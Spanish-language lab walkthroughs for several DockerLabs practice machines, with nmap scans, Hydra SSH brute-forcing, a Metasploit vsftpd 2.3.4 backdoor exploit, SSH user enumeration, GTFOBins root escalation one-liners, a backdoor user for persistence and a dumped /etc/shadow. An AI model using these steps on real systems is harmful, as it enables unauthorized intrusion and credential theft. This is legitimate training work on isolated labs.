top of page
dockerlabsimage.png

🔥 DIFICULTAD DE LOS LABORATORIOS
 
🟦 MUY FÁCIL
🟩 FÁCIL
🟨 MEDIO
🟥 DIFÍCIL

LEYENDA DE COLORES

 BLANCO                                           Archivos / Encabezados / Palabras destacadas / Output resultante de un comando
 [PARÉNTESIS]                                [Parámetros a introducir en una línea de comandos]
 GRIS                                                  Introducciones / Aclaraciones / Texto explicativo
VERDE                                              Sintaxis / Comandos / Código genérico
VERDE PÁLIDO                              Prompts
AZUL                                                 Rutas / Directorios / "Windows"
▉ AZUL CLARO                                   URLs / IPs
ROSA                                                 Destacar parámetros en una línea de comandos
ROJO                                                  Comandos de privilegios / stderr / Atención
NARANJA                                         Valor variable / Usuarios / Grupos / Contraseñas / TCP / "Linux"
AMARILLO                                       Puertos / UDP / JavaScript / php

setup

​🐳 DOCKERLABS

🌐
https://dockerlabs.es


Instalar Docker en Linux:
sudo apt install docker.io

Una vez hayamos descargado una máquina en formato .tar, dentro de la carpeta de la máquina veremos que hay un script llamado auto_deploy.sh. Solamente tendremos que ejecutar ese script para desplegar o borrar el laboratorio, asi:


Desplegar laboratorio:

sudo bash auto_deploy.sh [laboratorio.tar]

TROUBLESHOOTING

Visualizar los laboratorios detenidos y en ejecución:

sudo docker ps -a

Detener todos los laboratorios en ejecución:

sudo docker stop $(docker ps -q)

Reiniciar Docker (detiene los laboratorios en ejecución y vuelve a cargar las configuraciones de Docker):
sudo systemctl restart docker

Eliminar todos los contenedores detenidos pero en ejecución en el sistema:

sudo docker container prune --force

​​📡 DOCKER0 SCANNING

Docker utiliza un componente llamado Docker Networking para gestionar la comunicación entre contenedores, el host y el exterior. Cuando instalas Docker, este crea automáticamente una red virtual interna (por defecto, una red de tipo bridge) para los contenedores. Esta red se llama docker0 y está diseñada para aislar los contenedores del resto de la red del host y de otras redes externas, proporcionando un entorno controlado.
 
El rango de direcciones IP 172.17.0.0/16 (que va desde 172.17.0.0 hasta 172.17.255.255) es el rango predeterminado que Docker asigna a la red bridge (docker0) cuando se instala.

Ver Interfaces de Red activas (entre las que debería estar
docker0 si el contenedor/máquina se ha ejecutado con éxito):
ifconfig

Escanear el "Docker Networking" con Arp-scan para ver las direcciones IP de las máquinas en ejecución con Docker:

sudo arp-scan --interface=docker0 172.17.0.0/16

Comprobar los Contenedores Docker en ejecución:

docker ps

docker0
borazuwarah

🖥️🟦 BORAZUWARAH
 
IP: 172.17.0.2
URL: 
https://dockerlabs.es
Dificultad: MUY FÁCIL
SO: 🐧Linux
Tools: exiftool, nmap, hydra, ssh, sudo, GTFOBins
¿RESUELTA? ✔️Sí

________________________________________________________________________________________________


Abriendo la IP en el navegador, visualizamos una imagen de un "huevo Kinder". Descargamos la imagen y analizamos los metadatos con Exiftool:
exiftool imagen.jpeg

exiftool kinder.jpeg
ExifTool Version Number         : 13.25
File Name                       : kinder.jpeg
Directory                       : .
File Size                       : 19 kB
File Modification Date/Time     : 2025:07:17 17:47:24+02:00
File Access Date/Time           : 2025:07:17 17:47:59+02:00
File Inode Change Date/Time     : 2025:07:17 17:47:24+02:00
File Permissions                : -rw-rw-r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
XMP Toolkit                     : Image::ExifTool 12.76
Description                     : ----------
User: borazuwarah ----------
Title                           : ---------- Password:  ----------
Image Width                     : 455
Image Height                    : 455
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 455x455
Megapixels                      : 0.207


Encontramos un nombre de usuario: borazuwarah

Después, realizamos un escaneo con NMAP para buscar puertos abiertos:
sudo nmap --top-ports 500 -sS -sC -sV -n -v -T3 172.17.0.2

...
PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 3d:fd:d7:c8:17:97:f5:12:b1:f5:11:7d:af:88:06:fe (ECDSA)
|_  256 43:b3:ba:a9:32:c9:01:43:ee:62:d0:11:12:1d:5d:17 (ED25519)

80/tcp open  http    Apache httpd 2.4.59 ((Debian))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.59 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...


Ahora, sabiendo que hay un puerto 22 abierto (conexión SSH) y teniendo un nombre de usuario, procedemos a hacer fuerza bruta con Hydra. Usamos una wordlist de contraseñas de Metasploit:
hydra -l borazuwarah -P /usr/share/wordlists/metasploit/password.lst ssh://172.17.0.2

...
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-17 18:15:48
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 88406 login tries (l:1/p:88406), ~5526 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login:
borazuwarah   password: 123456
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-17 18:16:00


Ya sabemos el usuario y la contraseña (123456), con lo que podemos establecer la conexión SSH:
ssh borazuwarah@172.17.0.2 -p 22
123456

Con esto estamos dentro de la máquina como usuario. Para escalar privilegios dentro bastaría con:
sudo /bin/bash -l

También, de pura suerte, probando la misma contraseña que para el usuario borozawarah (123456) veremos que funciona para root haciendo:
sudo su
123456

Otra forma de escalar privilegios sería buscando los archivos SUID con:
find / -perm -4000 2>/dev/null

/usr/bin/umount
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/su
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/chsh
/usr/bin/
sudo
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper


Por ejemplo, el binario sudo vemos que es vulnerable. Para esto, buscándolo en https://gtfobins.github.io/gtfobins/sudo encontramos que con la siguiente línea de comandos obtenemos una shell como root:
sudo sudo /bin/sh

Como se trata de una shell sh, podemos conseguir una bash shell simplemente con (no hay zsh en la máquina):
bash

firsthacking

🖥️🟦 FIRSTHACKING

IP: 172.17.0.2
URL: https://dockerlabs.es
Dificultad: MUY FÁCIL
SO: 🐧Linux
Tools: nmap, ftp, msfconsole, useradd
¿RESUELTA? ✔️Sí
_______________________________________________________________________________________________

Nmap sobre la IP objetivo:
sudo nmap -p- -sS -sC -sV --min-rate 5000 -n -Pn -v 172.17.0.2
(...)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix

(...)

Puerto 21 abierto con un servicio FTP. Intentamos conexión, sin éxito, pide contraseña:
ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPd 2.3.4)
Name (172.17.0.2:sf01ghost): 
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed


Buscamos si existe algún exploit para esa versión de FTP, vsftp 2.3.4 encontrando algo:
https://www.exploit-db.com/exploits/49757

Lo anterior involucra poder crear un archivo en Python dentro de la máquina objetivo, cosa no posible ahora mismo.
Probamos con Metasploit:

msfconsole

search vsftp 2.3.4

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


set RHOST 172.17.0.2

set RPORT 21

exploit
[*] 172.17.0.2:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 172.17.0.2:21 - USER: 331 Please specify the password.
[+] 172.17.0.2:21 - Backdoor service has been spawned, handling...
[+] 172.17.0.2:21 - UID: uid=0(root) gid=0(root) groups=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.17.0.1:37105 -> 172.17.0.2:6200) at 2025-08-01 23:59:19 +0200


whoami
root

pwd
/root/vsftpd-2.3.4

shell
[*] Trying to find binary 'python' on the target machine
[-] python not found
[*] Trying to find binary 'python3' on the target machine
[-] python3 not found
[*] Trying to find binary 'script' on the target machine
[*] Found script at /usr/bin/script
[*] Using `script` to pop up an interactive shell


bash
root@b2fda4813f2e:/etc#

Ya estaríamos dentro como root y con una bash shell.

EXTRA: Si queremos persistir en entrar vía FTP, desde dentro podemos crear un usuario nuevo al que definir la contraseña y con el que acceder por FTP. Para crear usuario nuevo "ftpuser":
useradd -m ftpuser

Definir contraseña de "ftpuser":
passwd ftpuser
1234

Volvemos a intentar la conexión desde otra consola:
ftp 172.17.0.2
Connected to 172.17.0.2.
220 (vsFTPd 2.3.4)
Name (172.17.0.2:sf01ghost):
ftpuser
331 Please specify the password.
Password:
1234
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> 

🖥️🟦 BREAKMYSSH

IP: 172.17.0.2
URL: https://dockerlabs.es
Dificultad: MUY FÁCIL
SO: 🐧Linux
Tools: nmap, ssh, sshpass, msfconsole, hydra
¿RESUELTA? ✔️Sí
_______________________________________________________________________________________________

Nmap sobre la IP objetivo:
sudo nmap -p- -sS -sC -sV --min-rate 5000 -n -Pn -v --script="vuln172.17.0.2
(...)
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Initiating ARP Ping Scan at 23:41
Scanning 172.17.0.2 [1 port]

(...)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.7 (protocol 2.0)
| vulners: 
|   cpe:/a:openbsd:openssh:7.7: 
|       95499236-C9FE-56A6-9D7D-E943A24B633A    10.0    https://vulners.com/githubexploit/95499236-C9FE-56A6-9D7D-E943A24B633A  *EXPLOIT*
|       5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A    10.0    https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A  *EXPLOIT*
|       2C119FFA-ECE0-5E14-A4A4-354A2C38071A    10.0    https://vulners.com/githubexploit/2C119FFA-ECE0-5E14-A4A4-354A2C38071A  *EXPLOIT*
|       PACKETSTORM:173661      9.8     https://vulners.com/packetstorm/PACKETSTORM:173661      *EXPLOIT*
|       F0979183-AE88-53B4-86CF-3AF0523F3807    9.8     https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807  *EXPLOIT*
|       CVE-2023-38408  9.8     https://vulners.com/cve/CVE-2023-38408
|       B8190CDB-3EB9-5631-9828-8064A1575B23    9.8     https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23  *EXPLOIT*
|       8FC9C5AB-3968-5F3C-825E-E8DB5379A623    9.8     https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623  *EXPLOIT*
|       8AD01159-548E-546E-AA87-2DE89F3927EC    9.8     https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC  *EXPLOIT*
|       2227729D-6700-5C8F-8930-1EEAFD4B9FF0    9.8     https://vulners.com/githubexploit/2227729D-6700-5C8F-8930-1EEAFD4B9FF0  *EXPLOIT*
|       0221525F-07F5-5790-912D-F4B9E2D1B587    9.8     https://vulners.com/githubexploit/0221525F-07F5-5790-912D-F4B9E2D1B587  *EXPLOIT*
|       CVE-2020-15778  7.8     https://vulners.com/cve/CVE-2020-15778
|       CVE-2019-16905  7.8     https://vulners.com/cve/CVE-2019-16905
|       C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3    7.8     https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3  *EXPLOIT*
|       10213DBE-F683-58BB-B6D3-353173626207    7.8     https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207  *EXPLOIT*
|       SSV:92579       7.5     https://vulners.com/seebug/SSV:92579    *EXPLOIT*
|       1337DAY-ID-26576        7.5     https://vulners.com/zdt/1337DAY-ID-26576        *EXPLOIT*
|       CVE-2021-41617  7.0     https://vulners.com/cve/CVE-2021-41617
|       PACKETSTORM:189283      6.8     https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*
|       F79E574D-30C8-5C52-A801-66FFA0610BAA    6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA  *EXPLOIT*
|       EDB-ID:46516    6.8     https://vulners.com/exploitdb/EDB-ID:46516      *EXPLOIT*
|       EDB-ID:46193    6.8     https://vulners.com/exploitdb/EDB-ID:46193      *EXPLOIT*
|       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465
|       CVE-2019-6110   6.8     https://vulners.com/cve/CVE-2019-6110
|       CVE-2019-6109   6.8     https://vulners.com/cve/CVE-2019-6109
|       9D8432B9-49EC-5F45-BB96-329B1F2B2254    6.8     https://vulners.com/githubexploit/9D8432B9-49EC-5F45-BB96-329B1F2B2254  *EXPLOIT*
|       1337DAY-ID-39918        6.8     https://vulners.com/zdt/1337DAY-ID-39918        *EXPLOIT*
|       1337DAY-ID-32328        6.8     https://vulners.com/zdt/1337DAY-ID-32328        *EXPLOIT*
|       1337DAY-ID-32009        6.8     https://vulners.com/zdt/1337DAY-ID-32009        *EXPLOIT*
|       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385
|       PACKETSTORM:181223      5.9     https://vulners.com/packetstorm/PACKETSTORM:181223      *EXPLOIT*
|       MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS-        5.9     https://vulners.com/metasploit/MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS- *EXPLOIT*
|       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795
|       CVE-2020-14145  5.9     https://vulners.com/cve/CVE-2020-14145
|       CVE-2019-6111   5.9     https://vulners.com/cve/CVE-2019-6111
|       CC3AE4FC-CF04-5EDA-A010-6D7E71538C92    5.9     https://vulners.com/githubexploit/CC3AE4FC-CF04-5EDA-A010-6D7E71538C92  *EXPLOIT*
|       C190A2C8-A86F-571E-826A-06D02604D9B3    5.9     https://vulners.com/githubexploit/C190A2C8-A86F-571E-826A-06D02604D9B3  *EXPLOIT*
|       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C    5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C  *EXPLOIT*
|       EXPLOITPACK:98FE96309F9524B8C84C508837551A19    5.8     https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19 *EXPLOIT*
|       EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97    5.8     https://vulners.com/exploitpack/EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97 *EXPLOIT*
|       EDB-ID:45939    5.3     https://vulners.com/exploitdb/EDB-ID:45939      *EXPLOIT*
|       EDB-ID:45233    5.3     https://vulners.com/exploitdb/EDB-ID:45233      *EXPLOIT*
|       CVE-2018-20685  5.3     https://vulners.com/cve/CVE-2018-20685
|       CVE-2018-15919  5.3     https://vulners.com/cve/CVE-2018-15919
|      
CVE-2018-15473  5.3     https://vulners.com/cve/CVE-2018-15473
|       CVE-2016-20012  5.3     https://vulners.com/cve/CVE-2016-20012
|       1337DAY-ID-31730        5.3     https://vulners.com/zdt/1337DAY-ID-31730        *EXPLOIT*
|       SSH_ENUM        5.0     https://vulners.com/canvas/SSH_ENUM     *EXPLOIT*
|       PACKETSTORM:150621      5.0     https://vulners.com/packetstorm/PACKETSTORM:150621      *EXPLOIT*
|       EXPLOITPACK:F957D7E8A0CC1E23C3C649B764E13FB0    5.0     https://vulners.com/exploitpack/EXPLOITPACK:F957D7E8A0CC1E23C3C649B764E13FB0 *EXPLOIT*
|       EXPLOITPACK:EBDBC5685E3276D648B4D14B75563283    5.0     https://vulners.com/exploitpack/EXPLOITPACK:EBDBC5685E3276D648B4D14B75563283 *EXPLOIT*
|       CVE-2025-32728  4.3     https://vulners.com/cve/CVE-2025-32728
|       CVE-2021-36368  3.7     https://vulners.com/cve/CVE-2021-36368
|       PACKETSTORM:151227      0.0     https://vulners.com/packetstorm/PACKETSTORM:151227      *EXPLOIT*
|       PACKETSTORM:140261      0.0     https://vulners.com/packetstorm/PACKETSTORM:140261      *EXPLOIT*
|_      1337DAY-ID-30937        0.0     https://vulners.com/zdt/1337DAY-ID-30937        *EXPLOIT*
MAC Address: 02:42:AC:11:00:02 (Unknown)


Como se ve el puerto 22 abierto que permite conexión SSH, hacemos una prueba con nombre de usuario "anonymous" (lo más probable es que no funcione, puesto que no sabemos ni usuario ni contraseña):
sudo ssh anonymous@172.17.0.2 -p 22
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    
WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ED25519 key sent by the remote host is
SHA256:U6y+etRI+fVmMxDTwFTSDrZCoIl2xG/Ur/6R0cQMamQ.
Please contact your system administrator.

Add correct host key in /root/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /root/.ssh/known_hosts:3
  remove with:
 
ssh-keygen -f '/root/.ssh/known_hosts' -R '172.17.0.2'
Host key for 172.17.0.2 has changed and you have requested strict checking.
Host key verification failed.


Probando con otros usuarios observo que no varía el mensaje. Debería preguntar por la contraseña pero en su lugar, me pide corregir un archivo en /root/.ssh/known_hosts con una línea que me proporcionan, para deshacernos de ese mensaje de error. Se introduce en la consola:
ssh-keygen -f '/root/.ssh/known_hosts' -R '172.17.0.2'
# Host 172.17.0.2 found: line 1
# Host 172.17.0.2 found: line 2
# Host 172.17.0.2 found: line 3
/root/.ssh/known_hosts updated.
Original contents retained as /root/.ssh/known_hosts.old


Esto corrige el mensaje de error, pero seguimos sin tener usuario ni contraseña. Como NMAP asoció varias vulnerabilidades CVE al escaneo, las vamos probando una a una en Metasploit (msfconsole, con search), hasta que damos un CVE válido:
search CVE-2018-15473
Matching Modules
================

   #  Name                                 Disclosure Date  Rank    Check  Description
   -  ----                                 ---------------  ----    -----  -----------
   0  auxiliary/scanner/ssh/ssh_enumusers  .                normal  No     SSH Username Enumeration
   1    \_ action: Malformed Packet        .                .       .      Use a malformed packet
   2    \_ action: Timing Attack           .                .       .      Use a timing attack


use auxiliary/scanner/ssh/ssh_enumusers

show options
Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CHECK_FALSE   true             no        Check for false positives (random username)
   DB_ALL_USERS  false          no        Add all users in the current database to the list
   Proxies                                      no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
   RHOSTS                                   
yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT                 22               
yes       The target port
   THREADS             1                 
yes       The number of concurrent threads (max one per host)
   THRESHOLD     10               
yes       Amount of seconds needed before a user is considered found (timing attack only)
   USERNAME                            no        Single username to test (username spray)
   USER_FILE                              no        File containing usernames, one per line


set RHOST 172.17.0.2

set RPORT 22

set USER_FILE 
/usr/share/wordlists/rockyou.txt

exploit
[*] 172.17.0.2:22 - SSH - Using malformed packet technique
[*] 172.17.0.2:22 - SSH - Checking for false positives
[*] 172.17.0.2:22 - SSH - Starting scan
[+] 172.17.0.2:22 - SSH - User '
lovely' found
[+] 172.17.0.2:22 - SSH - User '
nobody' found
[+] 172.17.0.2:22 - SSH - User '
games' found

Encontramos 3 usuarios, pareciendo "lovely" el usuario principal, al que podemos hacer fuerza bruta con Hydra, usando la wordlist "rockyou.txt":
sudo hydra -l lovely -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-03
[WARNING] Many SSH configurations limit the number of parallel tasks, it uce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to  previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries 6525 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login:
lovely password: rockyou
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not com
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-08-03


Ya tenemos un usuario y contraseña que funcionan al realizar una conexión SSH:
sudo ssh lovely@172.17.0.2 -p 22
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:U6y+etRI+fVmMxDTwFTSDrZCoIl2xG/Ur/6R0cQMamQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])?
yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
lovely@172.17.0.2's password:
lovely

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

lovely@36ad156bf9ae:~$ 

Desde dentro, intentamos escalar privilegios haciendo "su root" y nos pide contraseña, como que el usuario existe. Por lo tanto, probemos igual que antes a sacar una contraseña con Hydra usando el "rockyou.txt":
sudo hydra -l root -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
(...)
DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login:
root   password: estrella
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.


Ya tenemos la contraseña de root. Ahora probaremos para acceder directamente usando "sshpass":
sudo sshpass -p 'estrella' ssh root@172.17.0.2 -p 22
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

root@36ad156bf9ae:~#

BONUS: También podríamos haber intentado sacar la contraseña de root mediante el archivo "shadow", desencriptándola con "John the Ripper":
root@36ad156bf9ae:~# cat /etc/shadow
root:$6$OgeGOs4m$JkB0N14VABxH4Xi8zrq6inP.w/BkYcunMRWC4NCeNvE09cvPma6wy1Hnq0Ix4ZEksYRu8P/RBckzB/lWG9yHl1:19854:0:99999:7:::
daemon:*:17728:0:99999:7:::
bin:*:17728:0:99999:7:::
sys:*:17728:0:99999:7:::
sync:*:17728:0:99999:7:::
games:*:17728:0:99999:7:::
man:*:17728:0:99999:7:::
lp:*:17728:0:99999:7:::
mail:*:17728:0:99999:7:::
news:*:17728:0:99999:7:::
uucp:*:17728:0:99999:7:::
proxy:*:17728:0:99999:7:::
www-data:*:17728:0:99999:7:::
backup:*:17728:0:99999:7:::
list:*:17728:0:99999:7:::
irc:*:17728:0:99999:7:::
gnats:*:17728:0:99999:7:::
nobody:*:17728:0:99999:7:::
_apt:*:17728:0:99999:7:::
lovely:$6$aNq9K4cw$fV9T4ssaP37PqZOUAqQP1Pwb3s6oAyT9UPvV.k8CaN8GXOu2C8ZlP75oYfEqXZEZBIgJm3DgRPGHyuycYX9x60:19854:0:99999:7:::

 

BreakMySSH

🖥️🟦 VACACIONES

IP: 172.17.0.2
URL: https://dockerlabs.es
Dificultad: MUY FÁCIL
SO: 🐧Linux
Tools: nmap, ssh, hydra, sudo, find, ruby
¿RESUELTA? ✔️sí
_______________________________________________________________________________________________

Nmap sobre la IP objetivo:
sudo nmap -p- -sS -sC -sV --min-rate 5000 -n -Pn -v  172.17.0.2
(...)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 41:16:eb:54:64:34:d1:69:ee:dc:d9:21:9c:72:a5:c1 (RSA)
|   256 f0:c4:2b:02:50:3a:49:a7:a2:34:b8:09:61:fd:2c:6d (ECDSA)
|_  256 df:e9:46:31:9a:ef:0d:81:31:1f:77:e4:29:f5:c9:88 (ED25519)

80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Como está abierto el puerto 80, probamos a acceder a la IP desde el navegador. En un primer momento parece no haber nada, pues el cuerpo de la web se encuentra vacío, en blanco, pero con herramientas de desarrollador, vemos un comentario en el código HTML de la web que dice: "De Juan para Camilo, te he dejado un correo es importante ..."

Por lo que podemos suponer que hay al menos 2 usuarios con esos nombres.

 

vacatios.png


Nfdsfdsfdsf:
sudo hydra -l camilo -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
(...)
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login:
camilo   password: password1
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-08-03 01:56:17

 
Sabiendo esto, ahora si intentamos una conexión SSH:
sudo ssh camilo@172.17.0.2 -p 22
camilo@172.17.0.2's password: password1
 
Pasamos de SH shell a BASH shell:
bash
camilo@9f5d1487ea4c:~$ 

Como en la web mencionaban algo de un email, cabe probar si existe algo referente a eso en el sistema, buscando así:
find / -name mail 2>&1 | grep -v "Permission denied"
/var/mail
/var/spool/mail

 
Concatenamos los siguientes comandos:
cd /var/mail

ls
camilo

cd camilo

ls
coreo.txt
 
cat correo.txt
Hola Camilo,
Me voy de vacaciones y no he terminado el trabajo que me dio el jefe. Por si acaso lo pide, aquí tienes la contraseña: 2k84dicb


Como el email lo mandaba un supuesto usuario "Juan", damos por hecho que "2k84dicb" es su contraseña.
Comprobamos los usuarios en "
/home", donde hay carpeta para 3 usuarios diferentes, a parte del supuesto "root":
cd /home
 
ls
camilo juan pedro
 
Entramos ahora como "Juan":
sudo ssh juan@172.17.0.2 -p 22
camilo@172.17.0.2's password: 2k84dicb

Comprobamos si hay binarios ejecutables como root para el usuario actual (Juan):
sudo -l
Matching Defaults entries for juan on 9f5d1487ea4c:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User juan may run the following commands on 9f5d1487ea4c:
    (ALL) NOPASSWD: /usr/bin/
ruby

Buscamos en GTFOBins si hay alguna vulnerabilidad con el comando "ruby" para escalar privilegios, encontrando (https://gtfobins.github.io/gtfobins/ruby):
sudo ruby -e 'exec "/bin/sh"'

Y bingo se abre una consola como root:
# whoami
root

bash
root@9f5d1487ea4c:/# 
 

vacaciones

🖥️🟦 TRUST

IP: 172.19.0.2
URL: https://dockerlabs.es
Dificultad: MUY FÁCIL
SO: 🐧Linux
Tools: nmap, gobuster, hydra, ssh, vim, 
¿RESUELTA? ✔️SÍ
_______________________________________________________________________________________________

Escaneamos puertos con Nmap:
sudo nmap -p- -sS -sC -sV --min-rate 5000 -n -Pn -v 172.18.0.2
(...)
PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 19:a1:1a:42:fa:3a:9d:9a:0f:ea:91:7f:7e:db:a3:c7 (ECDSA)
|_  256 a6:fd:cf:45:a6:95:05:2c:58:10:73:8d:39:57:2b:ff (ED25519)

80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 02:42:AC:13:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Introduzco la IP 172.19.0.2 en el navegador, pero solo se ve una página de bienvenida standard de Apache2.

Fuzzeamos la IP en busca de subdominios:
sudo gobuster dir -u http://172.19.0.2 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,bak,html,txt
(...)
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 275]
/.html                (Status: 403) [Size: 275]
/index.html           (Status: 200) [Size: 10701]

/secret.php           (Status: 200) [Size: 927]

(...)

Introduzco 172.19.0.2/secret.php en el navegador y me sale un mensaje que dice: "Hola Mario, esta web no se puede hackear". Asumimos que hay un usuario en la máquina de nombre "mario".
 
Aplicamos fuera bruta con Hydra al usuario "mario" usando el "rockyou.txt" como wordlist:
sudo hydra -l mario -P /usr/share/wordlists/rockyou.txt 172.19.0.2 ssh
(...)
[DATA] attacking ssh://172.19.0.2:22/
[22][ssh] host: 172.19.0.2   login:
mario   password: chocolate
1 of 1 target successfully completed, 1 valid password found
(...)


Accedemos vía SSH por el puerto 22:
ssh mario@172.19.0.2 -p 22
mario@172.19.0.2's password: chocolate
(...)

Dentro, buscamos binarios con SUID vulnerables. Vuelve a pedir la contraseña de "mario":
sudo -l
(...)
